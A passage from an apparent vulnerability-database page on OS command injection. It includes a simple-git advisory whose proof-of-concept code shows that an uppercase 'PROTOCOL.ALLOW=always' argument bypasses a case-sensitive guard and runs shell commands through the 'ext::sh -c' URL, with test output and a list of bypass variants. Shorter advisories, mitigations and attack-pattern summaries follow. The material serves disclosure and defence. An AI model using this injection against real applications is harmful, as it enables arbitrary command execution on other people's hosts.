touch% /tmp/pwn-original% \u003e\u00262\u0027, \u0027/tmp/example-new-repo\u0027, [\n \u0027-c\u0027, \u0027protocol.ext.allow=always\u0027, // lowercase \u2014 caught by regex\n]).catch((e) =\u003e {\n console.log(\u0027ext:: executed:poc\u0027, fs.existsSync(SENTINEL) ? \u0027PWNED \u2014 \u0027 + SENTINEL + \u0027 created\u0027 : \u0027not created\u0027);\n console.error(e);\n});\n\n// \u2500\u2500 Bypass \u2014 PROTOCOL.ALLOW=always (uppercase) \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n// The fix regex /^\\s*protocol(.[a-z]+)?.allow/ is case-sensitive.\n// Git normalises config key names to lowercase internally.\n// Uppercase variant passes the check; git enables ext:: and executes the command.\ngit.clone(\u0027ext::sh -c touch% \u0027 + SENTINEL + \u0027% \u003e\u00262\u0027, \u0027/tmp/example-new-repo-2\u0027, [\n \u0027-c\u0027, \u0027PROTOCOL.ALLOW=always\u0027, // uppercase \u2014 NOT caught by regex\n]).catch((e) =\u003e {\n console.log(\u0027ext:: executed:\u0027, fs.existsSync(SENTINEL) ? \u0027PWNED \u2014 \u0027 + SENTINEL + \u0027 created\u0027 : \u0027not created\u0027);\n console.error(e);\n});\n\n// \u2500\u2500 Real-world scenario \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n// An application cloning a legitimate repository with user-controlled customArgs.\n// Attacker supplies PROTOCOL.ALLOW=always alongside a malicious ext:: URL.\n// The application intends to clone https://github.com/CodeAnt-AI/codeant-quality-gates\n// but the injected argument enables ext:: and the real URL executes the command instead.\n//\n// Legitimate usage (what the app expects):\n// simpleGit().clone(\u0027https://github.com/CodeAnt-AI/codeant-quality-gates\u0027,\n// \u0027/tmp/codeant-quality-gates\u0027, userArgs)\n//\n// Attacker-controlled scenario (what actually runs when args are not sanitised):\nconst LEGITIMATE_URL = \u0027https://github.com/CodeAnt-AI/codeant-quality-gates\u0027;\nconst CLONE_DEST = \u0027/tmp/codeant-quality-gates\u0027;\nconst SENTINEL_RW = \u0027/tmp/pwn-realworld\u0027;\ntry { fs.unlinkSync(SENTINEL_RW); } catch (_) {}\n\nconst userArgs = [\u0027-c\u0027, \u0027PROTOCOL.ALLOW=always\u0027];\nconst attackerURL = \u0027ext::sh -c touch% \u0027 + SENTINEL_RW + \u0027% \u003e\u00262\u0027;\n\nsimpleGit().clone(\n attackerURL, // should have been LEGITIMATE_URL\n CLONE_DEST,\n userArgs\n).catch(() =\u003e {\n console.log(\u0027real-world scenario [target: \u0027 + LEGITIMATE_URL + \u0027]:\u0027,\n fs.existsSync(SENTINEL_RW) ? \u0027PWNED \u2014 \u0027 + SENTINEL_RW + \u0027 created\u0027 : \u0027not created\u0027);\n});\n```\n\n---\n\n## Test Results\n\n### Vector 1 \u2014 Original CVE-2022-25912 (`protocol.ext.allow=always`, lowercase)\n\n**Result: BLOCKED \u2705**\n\nThe original Snyk PoC payload using lowercase `protocol.ext.allow=always` is correctly intercepted by `preventProtocolOverride` before git is invoked. A `GitPluginError` is thrown immediately and the sentinel file is never created.\n\n**Output:**\n```\next:: executed:poc not created\nGitPluginError: Configuring protocol.allow is not permitted without enabling allowUnsafeExtProtocol\n at preventProtocolOverride (.../simple-git/dist/cjs/index.js:1228:9)\n at .../simple-git/dist/cjs/index.js:1266:40\n at Array.forEach (\u003canonymous\u003e)\n at Object.action (.../simple-git/dist/cjs/index.js:1264:12)\n at PluginStore.exec (.../simple-git/dist/cjs/index.js:1489:29)\n at GitExecutorChain.attemptRemoteTask (.../simple-git/dist/cjs/index.js:1881:36)\n at GitExecutorChain.attemptTask (.../simple-git/dist/cjs/index.js:1865:88) {\n task: {\n commands: [\n \u0027clone\u0027,\n \u0027-c\u0027,\n \u0027protocol.ext.allow=always\u0027,\n \u0027ext::sh -c touch% /tmp/pwn-original% \u003e\u00262\u0027,\n \u0027/tmp/example-new-repo\u0027\n ],\n format: \u0027utf-8\u0027,\n parser: [Function: parser]\n },\n plugin: \u0027unsafe\u0027\n}\n```\n\n---\n\n### Vector 2 \u2014 Uppercase bypass (`PROTOCOL.ALLOW=always`)\n\n**Result: BYPASSED \u26a0\ufe0f \u2014 RCE confirmed**\n\nThe `preventProtocolOverride` regex `/^\\s*protocol(.[a-z]+)?.allow/` is case-sensitive. `PROTOCOL.ALLOW=always` (uppercase) passes the check without error. Git normalises config key names to lowercase internally, enabling the `ext::` protocol. The injected shell command executes before git errors on the missing repository stream.\n\n**Output:**\n```\next:: executed: PWNED \u2014 /tmp/pwn-codeant created\nGitError: Cloning into \u0027/tmp/example-new-repo-2\u0027...\nfatal: Could not read from remote repository.\n\nPlease make sure you have the correct access rights\nand the repository exists.\n\n at Object.action (.../simple-git/dist/cjs/index.js:1440:25)\n at PluginStore.exec (.../simple-git/dist/cjs/index.js:1489:29) {\n task: {\n commands: [\n \u0027clone\u0027,\n \u0027-c\u0027,\n \u0027PROTOCOL.ALLOW=always\u0027,\n \u0027ext::sh -c touch% /tmp/pwn-codeant% \u003e\u00262\u0027,\n \u0027/tmp/example-new-repo-2\u0027\n ],\n format: \u0027utf-8\u0027,\n parser: [Function: parser]\n }\n}\n```\n\n`/tmp/pwn-codeant` was created by the git subprocess \u2014 command execution confirmed.\n\n---\n\n### Vector 3 \u2014 Real-world scenario (target: `https://github.com/CodeAnt-AI/codeant-quality-gates`)\n\n**Result: BYPASSED \u26a0\ufe0f \u2014 RCE confirmed**\n\nAn application passes user-controlled `customArgs` to `simpleGit().clone()`. The attacker injects `PROTOCOL.ALLOW=always` and substitutes a malicious `ext::` URL in place of the intended repository URL. The plugin does not block the uppercase variant; git enables `ext::` and executes the payload before the application can detect the failure.\n\n**Output:**\n```\nreal-world scenario [target: https://github.com/CodeAnt-AI/codeant-quality-gates]: PWNED \u2014 /tmp/pwn-realworld created\n```\n\n`/tmp/pwn-realworld` was created \u2014 arbitrary command execution in a realistic application context confirmed.\n\n---\n\n## Summary\n\n| # | Vector | Payload | Sentinel file | Result |\n|---|--------|---------|---------------|--------|\n| 1 | CVE-2022-25912 original | `protocol.ext.allow=always` (lowercase) | not created | Blocked \u2705 |\n| 2 | Case-sensitivity bypass | `PROTOCOL.ALLOW=always` (uppercase) | `/tmp/pwn-codeant` created | **RCE \u26a0\ufe0f** |\n| 3 | Real-world app scenario | `PROTOCOL.ALLOW=always` + attacker URL | `/tmp/pwn-realworld` created | **RCE \u26a0\ufe0f** |\n\nThe case-sensitive regex in `preventProtocolOverride` blocks `protocol.*.allow` but does not account for uppercase or mixed-case variants. Git accepts all variants identically due to case-insensitive config key normalisation, allowing full bypass of the protection in all versions of simple-git that carry the 2022 fix.\n\n`/tmp/pwned` is created by the git subprocess via the `ext::` protocol.\n\nAll of the following bypass the check:\n\n| Argument passed via `-c` | Regex matches? | Git honours it? |\n|--------------------------|:--------------:|:---------------:|\n| `protocol.allow=always` | \u2705 blocked | \u2705 |\n| `PROTOCOL.ALLOW=always` | \u274c bypassed | \u2705 |\n| `Protocol.Allow=always` | \u274c bypassed | \u2705 |\n| `PROTOCOL.allow=always` | \u274c bypassed | \u2705 |\n| `protocol.ALLOW=always` | \u274c bypassed | \u2705 |\n\n---\n\n### Impact\n\nAny application that passes user-controlled values into the `customArgs`\nparameter of `clone()`, `fetch()`, `pull()`, `push()` or similar `simple-git`\nmethods is vulnerable to arbitrary command execution on the host machine.\n\nThe `ext::` git protocol executes an arbitrary binary as a remote helper.\nWith `protocol.allow=always` enabled, an attacker can run any OS command\nas the process user \u2014 full read, write and execution access on the host.",
"id": "GHSA-r275-fr43-pm7q",
"modified": "2026-04-14T21:57:58Z",
"published": "2026-03-10T18:38:56Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/steveukx/git-js/security/advisories/GHSA-r275-fr43-pm7q"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-28292"
},
{
"type": "WEB",
"url": "https://github.com/steveukx/git-js/commit/f7042088aa2dac59e3c49a84d7a2f4b26048a257"
},
{
"type": "PACKAGE",
"url": "https://github.com/steveukx/git-js"
},
{
"type": "WEB",
"url": "https://www.codeant.ai/security-research/security-research-simple-git-remote-code-execution-cve-2026-28292"
},
{
"type": "WEB",
"url": "https://www.codeant.ai/security-research/simple-git-remote-code-execution-cve-2026-28292"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "simple-git has blockUnsafeOperationsPlugin bypass via case-insensitive protocol.allow config key enables RCE"
}
GHSA-R288-8R34-4PHP
Vulnerability from github – Published: 2024-09-17 18:33 – Updated: 2024-09-17 18:33Authenticated command injection vulnerability exists in the ArubaOS command line interface. Successful exploitation of this vulnerability result in the ability to inject shell commands on the underlying operating system.
{
"affected": [],
"aliases": [
"CVE-2024-42502"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-09-17T18:15:04Z",
"severity": "HIGH"
},
"details": "Authenticated command injection vulnerability exists in the ArubaOS command line interface. Successful exploitation of this vulnerability result in the ability to inject shell commands on the underlying operating system.",
"id": "GHSA-r288-8r34-4php",
"modified": "2024-09-17T18:33:26Z",
"published": "2024-09-17T18:33:26Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-42502"
},
{
"type": "WEB",
"url": "https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw04709en_us\u0026docLocale=en_US"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-R2CV-PVMG-466M
Vulnerability from github – Published: 2025-12-11 21:31 – Updated: 2025-12-12 18:30OS Command Injection vulnerability in Ruijie X30-PRO X30-PRO-V1_09241521 allowing attackers to execute arbitrary commands via a crafted POST request to the pwdmodify in file /usr/lib/lua/luci/modules/common.lua.
{
"affected": [],
"aliases": [
"CVE-2025-56108"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-12-11T19:15:56Z",
"severity": "HIGH"
},
"details": "OS Command Injection vulnerability in Ruijie X30-PRO X30-PRO-V1_09241521 allowing attackers to execute arbitrary commands via a crafted POST request to the pwdmodify in file /usr/lib/lua/luci/modules/common.lua.",
"id": "GHSA-r2cv-pvmg-466m",
"modified": "2025-12-12T18:30:34Z",
"published": "2025-12-11T21:31:31Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-56108"
},
{
"type": "WEB",
"url": "https://1drv.ms/f/c/12406a392c92914b/EtGIxwWujwxBvQhL9wgnUIwBkg-mndJJX07Igr6d0cic-g?e=4KJbWY"
},
{
"type": "WEB",
"url": "https://1drv.ms/t/c/12406a392c92914b/Ecib6--fxv9HhrfAdhmP5R4BOPDcTcqTOBt0hQBEx5BTxA?e=s3ejN1"
},
{
"type": "WEB",
"url": "https://github.com/flegoity/Ruijie-Multiple-Devices-Vulnerability-Reports-for-CVE/blob/main/CVE-2025-56108.md"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation
If at all possible, use library calls rather than external processes to recreate the desired functionality.
Mitigation MIT-22
Strategy: Sandbox or Jail
- Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.
- OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation
Strategy: Attack Surface Reduction
For any data that will be used to generate a command to be executed, keep as much of that data out of external control as possible. For example, in web applications, this may require storing the data locally in the session's state instead of sending it out to the client in a hidden form field.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-4.3
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
- For example, consider using the ESAPI Encoding control [REF-45] or a similar tool, library, or framework. These will help the programmer encode outputs in a manner less prone to error.
Mitigation MIT-28
Strategy: Output Encoding
While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).
Mitigation
If the program to be executed allows arguments to be specified within an input file or from standard input, then consider using that mode to pass arguments instead of the command line.
Mitigation MIT-27
Strategy: Parameterization
- If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.
- Some languages offer multiple functions that can be used to invoke commands. Where possible, identify any function that invokes a command shell using a single string, and replace it with a function that requires individual arguments. These functions typically perform appropriate quoting and filtering of arguments. For example, in C, the system() function accepts a string that contains the entire command to be executed, whereas execl(), execve(), and others require an array of strings, one for each argument. In Windows, CreateProcess() only accepts one command at a time. In Perl, if system() is provided with an array of arguments, then it will quote each of the arguments.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When constructing OS command strings, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. This will indirectly limit the scope of an attack, but this technique is less important than proper output encoding and escaping.
- Note that proper output encoding, escaping, and quoting is the most effective solution for preventing OS command injection, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent OS command injection, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, when invoking a mail program, you might need to allow the subject field to contain otherwise-dangerous inputs like ";" and ">" characters, which would need to be escaped or otherwise handled. In this case, stripping the character might reduce the risk of OS command injection, but it would produce incorrect behavior because the subject field would not be recorded as the user intended. This might seem to be a minor inconvenience, but it could be more important when the program relies on well-structured subject lines in order to pass messages to other components.
- Even if you make a mistake in your validation (such as forgetting one out of 100 input fields), appropriate encoding is still likely to protect you from injection-based attacks. As long as it is not done in isolation, input validation is still a useful technique, since it may significantly reduce your attack surface, allow you to detect some attacks, and provide other security benefits that proper encoding does not address.
Mitigation MIT-21
Strategy: Enforcement by Conversion
When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
Mitigation MIT-32
Strategy: Compilation or Build Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation MIT-32
Strategy: Environment Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation MIT-39
- Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.
- If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.
- Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.
- In the context of OS Command Injection, error information passed back to the user might reveal whether an OS command is being executed and possibly which command is being used.
Mitigation
Strategy: Sandbox or Jail
Use runtime policy enforcement to create an allowlist of allowable commands, then prevent use of any command that does not appear in the allowlist. Technologies such as AppArmor are available to do this.
Mitigation MIT-29
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
Mitigation MIT-17
Strategy: Environment Hardening
Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
Mitigation MIT-16
Strategy: Environment Hardening
When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
CAPEC-108: Command Line Execution through SQL Injection
An attacker uses standard SQL injection methods to inject data into the command line for execution. This could be done directly through misuse of directives such as MSSQL_xp_cmdshell or indirectly through injection of data into the database that would be interpreted as shell commands. Sometime later, an unscrupulous backend application (or could be part of the functionality of the same application) fetches the injected data stored in the database and uses this data as command line arguments without performing proper validation. The malicious data escapes that data plane by spawning new commands to be executed on the host.
CAPEC-15: Command Delimiters
An attack of this type exploits a programs' vulnerabilities that allows an attacker's commands to be concatenated onto a legitimate command with the intent of targeting other resources such as the file system or database. The system that uses a filter or denylist input validation, as opposed to allowlist validation is vulnerable to an attacker who predicts delimiters (or combinations of delimiters) not present in the filter or denylist. As with other injection attacks, the attacker uses the command delimiter payload as an entry point to tunnel through the application and activate additional attacks through SQL queries, shell commands, network scanning, and so on.
CAPEC-43: Exploiting Multiple Input Interpretation Layers
An attacker supplies the target software with input data that contains sequences of special characters designed to bypass input validation logic. This exploit relies on the target making multiples passes over the input data and processing a "layer" of special characters with each pass. In this manner, the attacker can disguise input that would otherwise be rejected as invalid by concealing it with layers of special/escape characters that are stripped off by subsequent processing steps. The goal is to first discover cases where the input validation layer executes before one or more parsing layers. That is, user input may go through the following logic in an application: <parser1> --> <input validator> --> <parser2>. In such cases, the attacker will need to provide input that will pass through the input validator, but after passing through parser2, will be converted into something that the input validator was supposed to stop.
CAPEC-6: Argument Injection
An attacker changes the behavior or state of a targeted application through injecting data or command syntax through the targets use of non-validated and non-filtered arguments of exposed services or methods.
CAPEC-88: OS Command Injection
In this type of an attack, an adversary injects operating system commands into existing application functions. An application that uses untrusted input to build command strings is vulnerable. An adversary can leverage OS command injection in an application to elevate privileges, execute arbitrary commands and compromise the underlying operating system.